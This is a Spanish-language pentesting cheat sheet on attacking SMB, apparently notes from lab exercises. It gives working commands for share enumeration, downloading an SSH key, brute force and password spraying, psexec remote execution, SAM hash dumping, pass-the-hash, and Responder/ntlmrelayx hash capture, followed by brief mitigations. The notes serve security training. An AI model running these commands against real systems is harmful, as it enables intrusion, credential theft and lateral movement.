SMB - Ataques y Explotación
🔹 ¿Qué es SMB?
SMB (Server Message Block) es el protocolo que Windows usa para compartir archivos, impresoras y otros recursos en red.
📌 Usa principalmente el puerto 445 TCP, aunque también puede correr en el 139 TCP con NetBIOS.
En Linux, se implementa con Samba, permitiendo que equipos Windows y Linux se comuniquen.
🔹 ¿Por qué se ataca SMB?
SMB es un blanco común porque:
-
📂 Permite acceso directo a archivos.
-
👥 Puede revelar usuarios, grupos y políticas de seguridad.
-
❌ Muchas veces está mal configurado (ej: sesiones anónimas).
-
💣 Tiene un historial de vulnerabilidades críticas (ej: EternalBlue).
🔎 Enumeración inicial
Nmap básico
nmap -p139,445 -sC -sV <IP>
👉 Detecta versión de SMB, nombre del host, SO, y si hay sesiones anónimas.

Enum4linux
enum4linux -a <IP>
👉 Usuarios, grupos, shares, políticas de contraseñas.
SMBClient
smbclient -L //<IP> -N
👉 Lista los recursos compartidos sin contraseña (-N = null session).

🔐 Abusando configuraciones débiles
👉 Null sessions: acceso sin usuario ni contraseña.
Ejemplo con smbmap:
smbmap -H <IP>
➡️ Si encuentras un share con lectura/escritura (ej. notes), puedes:
-
📥 Descargar info sensible.
-
📤 Subir un backdoor para ejecución.

En este caso podemos leer GGJ y podemos leer recursivamente
smbmap -H 10.129.203.6 -r GGJ

Tambien para descargar
smbmap -H 10.129.203.6 --download "GGJ\id_rsa"
smbmap -H 10.129.175.32 -u jason -p '34c8zuNBo91!@28Bszh' --download "GGJ/id_rsa"
para subir
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt
💥 Ataques comunes en SMB
-
Fuerza bruta o password spraying 🔐.
-
RCE con PsExec o clones de Impacket 💻.
-
Enumeración de usuarios conectados 👀 (ej: CrackMapExec).
-
Dump de hashes 🪪 (SAM o NTDS.dit).
🔑 Fuerza bruta y pulverización de contraseñas
Si no hay sesión nula habilitada, necesitamos credenciales. Aquí entran dos técnicas:
- Fuerza bruta (brute force)
👉 Se prueban muchas contraseñas contra una sola cuenta.
⚠️ Riesgo: puede bloquear la cuenta si superas el umbral.
Ejemplo con
crackmapexec smb 10.129.203.6 -u users.list -p pws.list
si no tiene dominio --local-auth

o con metasploit
msfconsole -q
use auxiliary/scanner/smb/smb_login
set RHOST 10.129.190.47
set SMBUSER jason
set PASS_FILE pws.list
exploit

- Password spraying (pulverización de contraseñas)
👉 Se prueba una contraseña común contra muchos usuarios.
⚡ Ventaja: minimiza riesgo de bloquear cuentas, ya que no repites demasiados intentos por usuario.
Ejemplo con CrackMapExec (CME):
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth
📌 Explicación:
-
-u /tmp/userlist.txt: lista de usuarios. -
-p 'Company01!': contraseña a probar. -
--local-auth: si la máquina no está unida a un dominio, autentica contra cuentas locales.
✅ Si hay éxito:
SMB 10.10.110.17 [+] WIN7BOX\jurena:Company01! (Pwn3d!)
👉 Además, con --continue-on-success puedes seguir rociando la misma password contra todos los usuarios aunque ya hayas encontrado uno válido.
RCE – Remote Code Execution ⚡
Impacket PsExec.py permite ejecutar comandos en remoto usando SMB:
-
Conecta al puerto 445 y sube un servicio temporal ⚙️.
-
Ejecuta comandos con privilegios del usuario autenticado.
-
Devuelve una shell remota (cmd.exe o PowerShell) 🖥️.
Ejemplos:
psexec.py dominio/usuario:password@192.168.1.100
psexec.py dominio/usuario@192.168.1.100 -hashes :NTHASH
psexec.py dominio/usuario:password@192.168.1.100 "whoami /all"
CrackMapExec exec-methods:
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
👥 Enumeración de usuarios conectados
crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users
o
rpcclient -U'%' 10.129.175.32
enumdomusers
👉 Saber qué usuarios están logueados (muy útil para cazar Domain Admins activos).
🪣 Dump de hashes (SAM y SYSTEM)
crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam
👉 Extraemos hashes NTLM para crackear o usar en Pass-the-Hash.
🔄 Pass-the-Hash (PtH)
Autenticación sin conocer la contraseña, solo con el hash NTLM:
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
🕵️♂️ Ataques de autenticación forzada (Responder)
Montamos un servidor SMB falso:
responder -I eth0
Si una víctima accede mal a \\share\, tu servidor captura el hash NetNTLMv2.
Opciones:
- 🪓 Crackear con Hashcat
hashcat -m 5600 hash.txt rockyou.txt
- 🔄 Relanzar el hash con ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
🔄 Flujo típico de ataque SMB
1️⃣ Enumeración de SMB → 2️⃣ Revisar null sessions → 3️⃣ Brute force / Spraying → 4️⃣ RCE (PsExec/Impacket) → 5️⃣ Dump de hashes / PtH → 6️⃣ Movimiento lateral 🚀
💡 Mitigación básica 🛡️
-
Deshabilitar SMBv1 ❌.
-
Configurar bloqueo de cuentas tras intentos fallidos 🚫.
-
Contraseñas fuertes y únicas 🔐.
-
Segmentar red para limitar alcance de ataques SMB 🌐.